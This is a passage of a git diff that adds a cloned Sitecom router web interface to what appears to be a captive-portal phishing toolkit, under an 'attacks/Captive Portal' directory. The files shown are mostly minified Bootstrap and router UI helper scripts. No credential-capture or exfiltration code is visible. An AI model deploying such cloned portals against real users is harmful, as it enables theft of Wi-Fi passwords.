zGxQX}AiQQEIfn>_C>{XP{`ErtdkVvRDVPhMT%Osfs?pg=)7;+JFcgetPsb|+AU7b4 e&H}9*Gk|}(=4|9tdyz5#0000FdgVgPB!;*&_DbH(j8RY>8_`iF1B#Zfaf$gL6@8Vo7R>LV0FMhC)b2s)DFVdQ&MBb@0AxZe Ae*gdg literal 0 HcmV?d00001 diff --git a/attacks/Captive Portal/sites/Sitecom_it.portal/index.htm b/attacks/Captive Portal/sites/Sitecom_it.portal/index.htm new file mode 100644 index 0000000..2b97740 --- /dev/null +++ b/attacks/Captive Portal/sites/Sitecom_it.portal/index.htm @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/attacks/Captive Portal/sites/Sitecom_it.portal/js/bootstrap-submenu.js b/attacks/Captive Portal/sites/Sitecom_it.portal/js/bootstrap-submenu.js new file mode 100644 index 0000000..7c472ea --- /dev/null +++ b/attacks/Captive Portal/sites/Sitecom_it.portal/js/bootstrap-submenu.js @@ -0,0 +1 @@ +$("ul.dropdown-menu [data-toggle=dropdown]").on("click",function(b){b.preventDefault();b.stopPropagation();$("ul.dropdown-menu [data-toggle=dropdown]").parent().removeClass("open");$(this).parent().addClass("open");var d=$(this).parent().find("ul");var a=d.offset();if((a.left+d.width())+30>$(window).width()){var c=-d.width()}else{var c=$(this).parent().width()}d.css({left:c})}); \ No newline at end of file diff --git a/attacks/Captive Portal/sites/Sitecom_it.portal/js/bootstrap.min.js b/attacks/Captive Portal/sites/Sitecom_it.portal/js/bootstrap.min.js new file mode 100644 index 0000000..af3273e --- /dev/null +++ b/attacks/Captive Portal/sites/Sitecom_it.portal/js/bootstrap.min.js @@ -0,0 +1,6 @@ +/*! + * Bootstrap v3.1.1 (http://getbootstrap.com) + * Copyright 2011-2014 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + */ +if("undefined"==typeof jQuery){throw new Error("Bootstrap's JavaScript requires jQuery")}+function(d){function c(){var f=document.createElement("bootstrap"),e={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd otransitionend",transition:"transitionend"};for(var g in e){if(void 0!==f.style[g]){return{end:e[g]}}}return !1}d.fn.emulateTransitionEnd=function(a){var h=!1,g=this;d(this).one(d.support.transition.end,function(){h=!0});var f=function(){h||d(g).trigger(d.support.transition.end)};return setTimeout(f,a),this},d(function(){d.support.transition=c()})}(jQuery),+function(f){var e='[data-dismiss="alert"]',h=function(a){f(a).on("click",e,this.close)};h.prototype.close=function(a){function l(){i.trigger("closed.bs.alert").remove()}var k=f(this),j=k.attr("data-target");j||(j=k.attr("href"),j=j&&j.replace(/.*(?=#[^\s]*$)/,""));var i=f(j);a&&a.preventDefault(),i.length||(i=k.hasClass("alert")?k:k.parent()),i.trigger(a=f.Event("close.bs.alert")),a.isDefaultPrevented()||(i.removeClass("in"),f.support.transition&&i.hasClass("fade")?i.one(f.support.transition.end,l).emulateTransitionEnd(150):l())};var g=f.fn.alert;f.fn.alert=function(a){return this.each(function(){var c=f(this),b=c.data("bs.alert");b||c.data("bs.alert",b=new h(this)),"string"==typeof a&&b[a].call(c)})},f.fn.alert.Constructor=h,f.fn.alert.noConflict=function(){return f.fn.alert=g,this},f(document).on("click.bs.alert.data-api",e,h.prototype.close)}(jQuery),+function(e){var d=function(b,a){this.$element=e(b),this.options=e.extend({},d.DEFAULTS,a),this.isLoading=!1};d.DEFAULTS={loadingText:"loading..."},d.prototype.setState=function(a){var j="disabled",i=this.$element,h=i.is("input")?"val":"html",g=i.data();a+="Text",g.resetText||i.data("resetText",i[h]()),i[h](g[a]||this.options[a]),setTimeout(e.proxy(function(){"loadingText"==a?(this.isLoading=!0,i.addClass(j).attr(j,j)):this.isLoading&&(this.isLoading=!1,i.removeClass(j).removeAttr(j))},this),0)},d.prototype.toggle=function(){var h=!0,g=this.$element.closest('[data-toggle="buttons"]');if(g.length){var i=this.$element.find("input");"radio"==i.prop("type")&&(i.prop("checked")&&this.$element.hasClass("active")?h=!1:g.find(".active").removeClass("active")),h&&i.prop("checked",!this.$element.hasClass("active")).trigger("change")}h&&this.$element.toggleClass("active")};var f=e.fn.button;e.fn.button=function(a){return this.each(function(){var g=e(this),c=g.data("bs.button"),b="object"==typeof a&&a;c||g.data("bs.button",c=new d(this,b)),"toggle"==a?c.toggle():a&&c.setState(a)})},e.fn.button.Constructor=d,e.fn.button.noConflict=function(){return e.fn.button=f,this},e(document).on("click.bs.button.data-api","[data-toggle^=button]",function(a){var g=e(a.target);g.hasClass("btn")||(g=g.closest(".btn")),g.button("toggle"),a.preventDefault()})}(jQuery),+function(e){var d=function(a,g){this.$element=e(a),this.$indicators=this.$element.find(".carousel-indicators"),this.options=g,this.paused=this.sliding=this.interval=this.$active=this.$items=null,"hover"==this.options.pause&&this.$element.on("mouseenter",e.proxy(this.pause,this)).on("mouseleave",e.proxy(this.cycle,this))};d.DEFAULTS={interval:5000,pause:"hover",wrap:!0},d.prototype.cycle=function(a){return a||(this.paused=!1),this.interval&&clearInterval(this.interval),this.options.interval&&!this.paused&&(this.interval=setInterval(e.proxy(this.next,this),this.options.interval)),this},d.prototype.getActiveIndex=function(){return this.$active=this.$element.find(".item.active"),this.$items=this.$active.parent().children(),this.$items.index(this.$active)},d.prototype.to=function(a){var h=this,g=this.getActiveIndex();return a>this.$items.length-1||0>a?void 0:this.sliding?this.$element.one("slid.bs.carousel",function(){h.to(a)}):g==a?this.pause().cycle():this.slide(a>g?"next":"prev",e(this.$items[a]))},d.prototype.pause=function(a){return a||(this.paused=!0),this.$element.find(".next, .prev").length&&e.support.transition&&(this.$element.trigger(e.support.transition.end),this.cycle(!0)),this.interval=clearInterval(this.interval),this},d.prototype.next=function(){return this.sliding?void 0:this.slide("next")},d.prototype.prev=function(){return this.sliding?void 0:this.slide("prev")},d.prototype.slide=function(r,q){var p=this.$element.find(".item.active"),o=q||p[r](),n=this.interval,m="next"==r?"left":"right",l="next"==r?"first":"last",k=this;if(!o.length){if(!this.options.wrap){return}o=this.$element.find(".item")[l]()}if(o.hasClass("active")){return this.sliding=!1}var a=e.Event("slide.bs.carousel",{relatedTarget:o[0],direction:m});return this.$element.trigger(a),a.isDefaultPrevented()?void 0:(this.sliding=!0,n&&this.pause(),this.$indicators.length&&(this.$indicators.find(".active").removeClass("active"),this.$element.one("slid.bs.carousel",function(){var c=e(k.$indicators.children()[k.getActiveIndex()]);c&&c.addClass("active")})),e.support.transition&&this.$element.hasClass("slide")?(o.addClass(r),o[0].offsetWidth,p.addClass(m),o.addClass(m),p.one(e.support.transition.end,function(){o.removeClass([r,m].join(" ")).addClass("active"),p.removeClass(["active",m].join(" ")),k.sliding=!1,setTimeout(function(){k.$element.trigger("slid.bs.carousel")},0)}).emulateTransitionEnd(1000*p.css("transition-duration").slice(0,-1))):(p.removeClass("active"),o.addClass("active"),this.sliding=!1,this.$element.trigger("slid.bs.carousel")),n&&this.cycle(),this)};var f=e.fn.carousel;e.fn.carousel=function(a){return this.each(function(){var i=e(this),h=i.data("bs.carousel"),c=e.extend({},d.DEFAULTS,i.data(),"object"==typeof a&&a),b="string"==typeof a?a:c.slide;h||i.data("bs.carousel",h=new d(this,c)),"number"==typeof a?h.to(a):b?h[b]():c.interval&&h.pause().cycle()})},e.fn.carousel.Constructor=d,e.fn.carousel.noConflict=function(){return e.fn.carousel=f,this},e(document).on("click.bs.carousel.data-api","[data-slide], [data-slide-to]",function(a){var l,k=e(this),j=e(k.attr("data-target")||(l=k.attr("href"))&&l.replace(/.*(?=#[^\s]+$)/,"")),i=e.extend({},j.data(),k.data()),h=k.attr("data-slide-to");h&&(i.interval=!1),j.carousel(i),(h=k.attr("data-slide-to"))&&j.data("bs.carousel").to(h),a.preventDefault()}),e(window).on("load",function(){e('[data-ride="carousel"]').each(function(){var a=e(this);a.carousel(a.data())})})}(jQuery),+function(e){var d=function(b,a){this.$element=e(b),this.options=e.extend({},d.DEFAULTS,a),this.transitioning=null,this.options.parent&&(this.$parent=e(this.options.parent)),this.options.toggle&&this.toggle()};d.DEFAULTS={toggle:!0},d.prototype.dimension=function(){var b=this.$element.hasClass("width");return b?"width":"height"},d.prototype.show=function(){if(!this.transitioning&&!this.$element.hasClass("in")){var a=e.Event("show.bs.collapse");if(this.$element.trigger(a),!a.isDefaultPrevented()){var l=this.$parent&&this.$parent.find("> .panel > .in");if(l&&l.length){var k=l.data("bs.collapse");if(k&&k.transitioning){return}l.collapse("hide"),k||l.data("bs.collapse",null)}var j=this.dimension();this.$element.removeClass("collapse").addClass("collapsing")[j](0),this.transitioning=1;var i=function(){this.$element.removeClass("collapsing").addClass("collapse in")[j]("auto"),this.transitioning=0,this.$element.trigger("shown.bs.collapse")};if(!e.support.transition){return i.call(this)}var h=e.camelCase(["scroll",j].join("-"));this.$element.one(e.support.transition.end,e.proxy(i,this)).emulateTransitionEnd(350)[j](this.$element[0][h])}}},d.prototype.hide=function(){if(!this.transitioning&&this.$element.hasClass("in")){var a=e.Event("hide.bs.collapse");if(this.$element.trigger(a),!a.isDefaultPrevented()){var h=this.dimension();this.$element[h](this.$element[h]())[0].offsetHeight,this.$element.addClass("collapsing").removeClass("collapse").removeClass("in"),this.transitioning=1;var g=function(){this.transitioning=0,this.$element.trigger("hidden.bs.collapse").removeClass("collapsing").addClass("collapse")};return e.support.transition?void this.$element[h](0).one(e.support.transition.end,e.proxy(g,this)).emulateTransitionEnd(350):g.call(this)}}},d.prototype.toggle=function(){this[this.$element.hasClass("in")?"hide":"show"]()};var f=e.fn.collapse;e.fn.collapse=function(a){return this.each(function(){var g=e(this),c=g.data("bs.collapse"),b=e.extend({},d.DEFAULTS,g.data(),"object"==typeof a&&a);!c&&b.toggle&&"show"==a&&(a=!a),c||g.data("bs.collapse",c=new d(this,b)),"string"==typeof a&&c[a]()})},e.fn.collapse.Constructor=d,e.fn.collapse.noConflict=function(){return e.fn.collapse=f,this},e(document).on("click.bs.collapse.data-api","[data-toggle=collapse]",function(r){var q,p=e(this),o=p.attr("data-target")||r.preventDefault()||(q=p.attr("href"))&&q.replace(/.*(?=#[^\s]+$)/,""),n=e(o),m=n.data("bs.collapse"),l=m?"toggle":p.data(),k=p.attr("data-parent"),a=k&&e(k);m&&m.transitioning||(a&&a.find('[data-toggle=collapse][data-parent="'+k+'"]').not(p).addClass("collapsed"),p[n.hasClass("in")?"addClass":"removeClass"]("collapsed")),n.collapse(l)})}(jQuery),+function(i){function h(a){i(m).remove(),i(l).each(function(){var c=n(i(this)),b={relatedTarget:this};c.hasClass("open")&&(c.trigger(a=i.Event("hide.bs.dropdown",b)),a.isDefaultPrevented()||c.removeClass("open").trigger("hidden.bs.dropdown",b))})}function n(a){var f=a.attr("data-target");f||(f=a.attr("href"),f=f&&/#[A-Za-z]/.test(f)&&f.replace(/.*(?=#[^\s]*$)/,""));var e=f&&i(f);return e&&e.length?e:a.parent()}var m=".dropdown-backdrop",l="[data-toggle=dropdown]",k=function(a){i(a).on("click.bs.dropdown",this.toggle)};k.prototype.toggle=function(p){var o=i(this);if(!o.is(".disabled, :disabled")){var c=n(o),b=c.hasClass("open");if(h(),!b){"ontouchstart" in document.documentElement&&!c.closest(".navbar-nav").length&&i(''}),d.prototype=e.extend({},e.fn.tooltip.Constructor.prototype),d.prototype.constructor=d,d.prototype.getDefaults=function(){return d.DEFAULTS},d.prototype.setContent=function(){var h=this.tip(),g=this.getTitle(),i=this.getContent();h.find(".popover-title")[this.options.html?"html":"text"](g),h.find(".popover-content")[this.options.html?"string"==typeof i?"html":"append":"text"](i),h.removeClass("fade top bottom left right in"),h.find(".popover-title").html()||h.find(".popover-title").hide()},d.prototype.hasContent=function(){return this.getTitle()||this.getContent()},d.prototype.getContent=function(){var g=this.$element,c=this.options;return g.attr("data-content")||("function"==typeof c.content?c.content.call(g[0]):c.content)},d.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(".arrow")},d.prototype.tip=function(){return this.$tip||(this.$tip=e(this.options.template)),this.$tip};var f=e.fn.popover;e.fn.popover=function(a){return this.each(function(){var g=e(this),c=g.data("bs.popover"),b="object"==typeof a&&a;(c||"destroy"!=a)&&(c||g.data("bs.popover",c=new d(this,b)),"string"==typeof a&&c[a]())})},e.fn.popover.Constructor=d,e.fn.popover.noConflict=function(){return e.fn.popover=f,this}}(jQuery),+function(e){function d(h,g){var b,a=e.proxy(this.process,this);this.$element=e(e(h).is("body")?window:h),this.$body=e("body"),this.$scrollElement=this.$element.on("scroll.bs.scroll-spy.data-api",a),this.options=e.extend({},d.DEFAULTS,g),this.selector=(this.options.target||(b=e(h).attr("href"))&&b.replace(/.*(?=#[^\s]+$)/,"")||"")+" .nav li > a",this.offsets=e([]),this.targets=e([]),this.activeTarget=null,this.refresh(),this.process()}d.DEFAULTS={offset:10},d.prototype.refresh=function(){var a=this.$element[0]==window?"offset":"position";this.offsets=e([]),this.targets=e([]);var g=this;this.$body.find(this.selector).map(function(){var h=e(this),c=h.data("target")||h.attr("href"),b=/^#./.test(c)&&e(c);return b&&b.length&&b.is(":visible")&&[[b[a]().top+(!e.isWindow(g.$scrollElement.get(0))&&g.$scrollElement.scrollTop()),c]]||null}).sort(function(h,c){return h[0]-c[0]}).each(function(){g.offsets.push(this[0]),g.targets.push(this[1])})},d.prototype.process=function(){var i,h=this.$scrollElement.scrollTop()+this.options.offset,n=this.$scrollElement[0].scrollHeight||this.$body[0].scrollHeight,m=n-this.$scrollElement.height(),l=this.offsets,k=this.targets,j=this.activeTarget;if(h>=m){return j!=(i=k.last()[0])&&this.activate(i)}if(j&&h<=l[0]){return j!=(i=k[0])&&this.activate(i)}for(i=l.length;i--;){j!=k[i]&&h>=l[i]&&(!l[i+1]||h<=l[i+1])&&this.activate(k[i])}},d.prototype.activate=function(a){this.activeTarget=a,e(this.selector).parentsUntil(this.options.target,".active").removeClass("active");var h=this.selector+'[data-target="'+a+'"],'+this.selector+'[href="'+a+'"]',g=e(h).parents("li").addClass("active");g.parent(".dropdown-menu").length&&(g=g.closest("li.dropdown").addClass("active")),g.trigger("activate.bs.scrollspy")};var f=e.fn.scrollspy;e.fn.scrollspy=function(a){return this.each(function(){var g=e(this),c=g.data("bs.scrollspy"),b="object"==typeof a&&a;c||g.data("bs.scrollspy",c=new d(this,b)),"string"==typeof a&&c[a]()})},e.fn.scrollspy.Constructor=d,e.fn.scrollspy.noConflict=function(){return e.fn.scrollspy=f,this},e(window).on("load",function(){e('[data-spy="scroll"]').each(function(){var a=e(this);a.scrollspy(a.data())})})}(jQuery),+function(e){var d=function(a){this.element=e(a)};d.prototype.show=function(){var a=this.element,l=a.closest("ul:not(.dropdown-menu)"),k=a.data("target");if(k||(k=a.attr("href"),k=k&&k.replace(/.*(?=#[^\s]*$)/,"")),!a.parent("li").hasClass("active")){var j=l.find(".active:last a")[0],i=e.Event("show.bs.tab",{relatedTarget:j});if(a.trigger(i),!i.isDefaultPrevented()){var h=e(k);this.activate(a.parent("li"),l),this.activate(h,h.parent(),function(){a.trigger({type:"shown.bs.tab",relatedTarget:j})})}}},d.prototype.activate=function(a,l,k){function j(){i.removeClass("active").find("> .dropdown-menu > .active").removeClass("active"),a.addClass("active"),h?(a[0].offsetWidth,a.addClass("in")):a.removeClass("fade"),a.parent(".dropdown-menu")&&a.closest("li.dropdown").addClass("active"),k&&k()}var i=l.find("> .active"),h=k&&e.support.transition&&i.hasClass("fade");h?i.one(e.support.transition.end,j).emulateTransitionEnd(150):j(),i.removeClass("in")};var f=e.fn.tab;e.fn.tab=function(a){return this.each(function(){var c=e(this),b=c.data("bs.tab");b||c.data("bs.tab",b=new d(this)),"string"==typeof a&&b[a]()})},e.fn.tab.Constructor=d,e.fn.tab.noConflict=function(){return e.fn.tab=f,this},e(document).on("click.bs.tab.data-api",'[data-toggle="tab"], [data-toggle="pill"]',function(a){a.preventDefault(),e(this).tab("show")})}(jQuery),+function(e){var d=function(b,a){this.options=e.extend({},d.DEFAULTS,a),this.$window=e(window).on("scroll.bs.affix.data-api",e.proxy(this.checkPosition,this)).on("click.bs.affix.data-api",e.proxy(this.checkPositionWithEventLoop,this)),this.$element=e(b),this.affixed=this.unpin=this.pinnedOffset=null,this.checkPosition()};d.RESET="affix affix-top affix-bottom",d.DEFAULTS={offset:0},d.prototype.getPinnedOffset=function(){if(this.pinnedOffset){return this.pinnedOffset}this.$element.removeClass(d.RESET).addClass("affix");var b=this.$window.scrollTop(),g=this.$element.offset();return this.pinnedOffset=g.top-b},d.prototype.checkPositionWithEventLoop=function(){setTimeout(e.proxy(this.checkPosition,this),1)},d.prototype.checkPosition=function(){if(this.$element.is(":visible")){var r=e(document).height(),q=this.$window.scrollTop(),p=this.$element.offset(),o=this.options.offset,n=o.top,m=o.bottom;"top"==this.affixed&&(p.top+=q),"object"!=typeof o&&(m=n=o),"function"==typeof n&&(n=o.top(this.$element)),"function"==typeof m&&(m=o.bottom(this.$element));var l=null!=this.unpin&&q+this.unpin<=p.top?!1:null!=m&&p.top+this.$element.height()>=r-m?"bottom":null!=n&&n>=q?"top":!1;if(this.affixed!==l){this.unpin&&this.$element.css("top","");var b="affix"+(l?"-"+l:""),a=e.Event(b+".bs.affix");this.$element.trigger(a),a.isDefaultPrevented()||(this.affixed=l,this.unpin="bottom"==l?this.getPinnedOffset():null,this.$element.removeClass(d.RESET).addClass(b).trigger(e.Event(b.replace("affix","affixed"))),"bottom"==l&&this.$element.offset({top:r-m-this.$element.height()}))}}};var f=e.fn.affix;e.fn.affix=function(a){return this.each(function(){var g=e(this),c=g.data("bs.affix"),b="object"==typeof a&&a;c||g.data("bs.affix",c=new d(this,b)),"string"==typeof a&&c[a]()})},e.fn.affix.Constructor=d,e.fn.affix.noConflict=function(){return e.fn.affix=f,this},e(window).on("load",function(){e('[data-spy="affix"]').each(function(){var a=e(this),g=a.data();g.offset=g.offset||{},g.offsetBottom&&(g.offset.bottom=g.offsetBottom),g.offsetTop&&(g.offset.top=g.offsetTop),a.affix(g)})})}(jQuery); \ No newline at end of file diff --git a/attacks/Captive Portal/sites/Sitecom_it.portal/js/common.js b/attacks/Captive Portal/sites/Sitecom_it.portal/js/common.js new file mode 100644 index 0000000..92eb28e --- /dev/null +++ b/attacks/Captive Portal/sites/Sitecom_it.portal/js/common.js @@ -0,0 +1 @@ +try{$(document).ready(function(){$("table.az_wrap").wrap("
");$("table").attr("border","0");$("table").addClass("table table-condensed table-hover");$("table tr:has(input), table tr:has(select)").removeClass("row-even").siblings("tr").removeClass("row-even");$("table tr:has(input), table tr:has(select)").removeClass("row-odd").siblings("tr").removeClass("row-odd");$("table.az_wrap tr:even").addClass("row-even");$("table.az_wrap tr:odd").addClass("row-odd");$("table.az_wrap").addClass("table-bordered");$("table tr td:first-child").addClass("column-first");$("table tr td:last-child").addClass("column-last");$("table tr td").attr("align","");$("form").attr("role","form");$("form").addClass("form-horizontal");$(":text,textarea,select,:password").addClass("form-control input-sm");$(":button[value='Remove'],:submit[value='Remove'],:submit[value='DELETE']").addClass("btn btn-danger btn-sm");$(":button[value='View'],:submit[value='View'],:reset,:button[value='CANCEL'],:submit[value='CANCEL']").addClass("btn btn-info btn-sm");$(":button[value='Load Signed'],:submit[value='Load Signed']").addClass("btn btn-success btn-sm");$(":button[value='View'],:submit[value='View']").addClass("btn btn-info btn-sm");$(":button,:submit").not(".btn").addClass("btn btn-primary btn-sm");parent.showBaseframe();parent.autoResize("basefrm");try{$(".az_tooltip").tooltip();$(".az_popover").popover()}catch(a){}try{if(screenDaig==1){$("a[data-target=#helpModal]").click(function(b){b.preventDefault();var c=$(this).attr("href");$("#helpModal .modal-body").load(c,function(){$("#helpModal").modal("show")})})}}catch(a){}try{if(screenSyslog==1){$("body").on("hidden.bs.modal",".modal",function(){$(this).removeData("bs.modal")});$("#summaryModal").on("loaded.bs.modal",function(b){$(this).find("table tr:even").addClass("row-even");$(this).find("table tr:odd").addClass("row-odd");$(this).find("table.az_wrap").wrap("
")})}}catch(a){}})}catch(e){parent.showBaseframe();parent.autoResize("basefrm")}; \ No newline at end of file diff --git a/attacks/Captive Portal/sites/Sitecom_it.portal/js/detectmobilebrowser.js b/attacks/Captive Portal/sites/Sitecom_it.portal/js/detectmobilebrowser.js new file mode 100644 index 0000000..f4c8b10 --- /dev/null +++ b/attacks/Captive Portal/sites/Sitecom_it.portal/js/detectmobilebrowser.js @@ -0,0 +1 @@ +(function(b){(jQuery.browser=jQuery.browser||{}).mobile=/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows (ce|phone)|xda|xiino/i.test(b)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(b.substr(0,4))})(navigator.userAgent||navigator.vendor||window.opera); \ No newline at end of file diff --git a/attacks/Captive Portal/sites/Sitecom_it.portal/js/general.js b/attacks/Captive Portal/sites/Sitecom_it.portal/js/general.js new file mode 100644 index 0000000..6cd90c7 --- /dev/null +++ b/attacks/Captive Portal/sites/Sitecom_it.portal/js/general.js @@ -0,0 +1 @@ +var vstrings=parent.ary_strings;function DictionaryStrings(){this.dicObj={};if(typeof(vstrings)=="undefined"){alert("Load strings failure for js!!");return}for(var a=0;vstrings[a][0]!="";a++){this.dicObj[vstrings[a][0]]=vstrings[a][1]}this.getstring=function(b){if(typeof(this.dicObj[b])!="undefined"){return this.dicObj[b]}else{alert(b+":has not be defined in language string array!");return""}}}var langtxt=new DictionaryStrings();window._=function(a){return langtxt.getstring(a)};function doValidIPAndMask(c,b,a){if((c=="")&&(b!="")){if(a==1){alert(_("DesIPInvalid")+c)}else{if(a==2){alert(_("SorIPInvalid"))}else{alert(_("IPIsEmpty"))}}return false}else{if((c!="")&&(b=="")){if(a==1){alert(_("DesNetInvalid"))}else{if(a==2){alert(_("SorNetInvalid"))}else{alert(_("SubMaskInvalid")+b)}}return false}else{return true}}}function chineseCheck(b,a){var f=document.getElementById(a);var e=f.innerText;var d=b.value;var c;if(e==undefined){e="Warning : input"}for(c=0;c255){alert(e+_("ContentCHN"));return true}}return false}function isValidAscii(c){for(var a=0;a"~"){return b}}return""}function isNumeric(c){var a=c.length;var b;if(a==0){return false}for(i=0;i"9"||b<"0"){return false}}return true}function isValidUrlName(b){var c=0;var a=new Array();a[c++]="www";a[c++]="com";a[c++]="org";a[c++]="net";a[c++]="edu";a[c++]="www.";a[c++]=".com";a[c++]=".org";a[c++]=".net";a[c++]=".edu";if(isValidAscii(b)!=""){return false}for(c=0;c0) + { + c_start=document.cookie.indexOf(c_name + "=") + if (c_start!=-1) + { + c_start=c_start + c_name.length+1 + c_end=document.cookie.indexOf(";",c_start) + if (c_end==-1) c_end=document.cookie.length + return unescape(document.cookie.substring(c_start,c_end)) + } + } + return default_language; +} + +function calcHeight(source) +{ + var browser=navigator.userAgent.toLowerCase(); + if (browser.indexOf('safari/') == -1 || browser.indexOf('mozilla/') == -1 || browser.indexOf('opera/') == -1){ + var extra=25; + }else{ + var extra=0; + } + if(source=='parent'){ + //find the height of the internal page + var the_height=document.getElementById('iframe').contentWindow.document.body.scrollHeight; + //change the height of the iframe + document.getElementById('iframe').height=the_height + extra; + } + else if( source=='parent1' ){ + var the_height=document.getElementById('client_list').contentWindow.document.body.scrollHeight; + document.getElementById('client_list').height=the_height + extra; + } + else if( source=='parent2' ){ + var the_height=document.getElementById('static_list').contentWindow.document.body.scrollHeight; + document.getElementById('static_list').height=the_height + extra; + } + else if( source=='parent3' ){ + var the_height=document.getElementById('routing_frame').contentWindow.document.body.scrollHeight; + document.getElementById('routing_frame').height=the_height + extra; + } + else if( source=='parent4' ){ + var the_height=document.getElementById('acl_frame').contentWindow.document.body.scrollHeight; + document.getElementById('acl_frame').height=the_height + extra; + } + else if( source=='parent5' ){ + var the_height=document.getElementById('ipfilter_frame').contentWindow.document.body.scrollHeight; + document.getElementById('ipfilter_frame').height=the_height + extra; + } + else if( source=='parent6' ){ + var the_height=document.getElementById('cgi_frame').contentWindow.document.body.scrollHeight; + document.getElementById('cgi_frame').height=the_height + extra; + } + else if( source=='parent7' ){ + var the_height=document.getElementById('ipaddr_frame').contentWindow.document.body.scrollHeight; + document.getElementById('ipaddr_frame').height=the_height + extra; + } + else if( source=='parent8' ){ + var the_height=document.getElementById('urlfilter_frame').contentWindow.document.body.scrollHeight; + document.getElementById('urlfilter_frame').height=the_height + extra; + } + else if( source=='parent9' ){ + var the_height=document.getElementById('urlfilter_frame').contentWindow.document.body.scrollHeight; + document.getElementById('urlfilter_frame').height=the_height + extra; + } + else{ + //find the height of the internal page + var the_height=document.body.scrollHeight; + //change the height of the iframe + parent.document.getElementById('iframe').height=the_height + extra; + } +} + +function swapClass(main){ + var items=['one','two','three','four','five','six']; + for (var i in items){ + if (items[i]==main){ + document.getElementById(items[i]).className="on"; + }else{ + document.getElementById(items[i]).className="off"; + } + } +} + +function readFile(url){ + var xmlhttp; + /*@cc_on + @if (@_jscript_version >= 5) + try { + xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); + } catch (e) { + try { + xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); + } catch (E) { + xmlhttp = false; + } + } + @else + xmlhttp = false; + @end @*/ + + if (!xmlhttp && typeof XMLHttpRequest != 'undefined') { + try { + xmlhttp = new XMLHttpRequest(); + } catch (e) { + xmlhttp = false; + } + } + xmlhttp.open("GET",url,false); + xmlhttp.send(null); + return xmlhttp.responseText; +} + +function showText(number) { + return tekst_array[number]; +} +/*var select_language=[ 'uk', 'de', 'nl', 'fr', 'it', 'es', 'pt', 'no', 'dk', 'se', 'fi', 'ru' ]; +var stype = getCookie('language'); +function dw(message) +{ + document.write(message[0]); + for(i=0; i<12; i++){ + if(stype == select_language[i]) + document.write(message[i]); + } +}*/ +function decode(code){ +code=code.replace(/"/g,'\\"'); +code='" '+code+' "'; +code=(eval(code)); +return code +} +function decode_1(code,idx,len){ +code=code.replace(/"/g,'\\"'); +code="'"+code+"'" +code=(eval(code)); +return code +} + +function basicLink(index){ + var picArry=new Array(); + for(i=1;i<=6;i++){ + picArry[i]=(i==index)?" class=\"actief\"":"" + } + document.write(""+(showText(13))+""); + document.write(""+(showText(14))+""); + document.write(""+(showText(15))+""); + document.write(""+(showText(16))+""); + document.write(""+(showText(17))+""); + document.write(""+(showText(628))+""); +} + +function advancedLink(index){ + var picArry=new Array(); + for(i=1;i<=8;i++){ + picArry[i]=(i==index)?" class=\"actief\"":"" + } + document.write(""+(showText(629))+""); + document.write(""+(showText(630))+""); + document.write(""+(showText(631))+""); + document.write(""+(showText(19))+""); + document.write(""+(showText(632))+""); + document.write(""+(showText(633))+""); + document.write(""+(showText(634))+""); + document.write("TR-69"); + +} + +function firewallLink(index){ + var picArry=new Array(); + for(i=1;i<=6;i++){ + picArry[i]=(i==index)?" class=\"actief\"":"" + } + 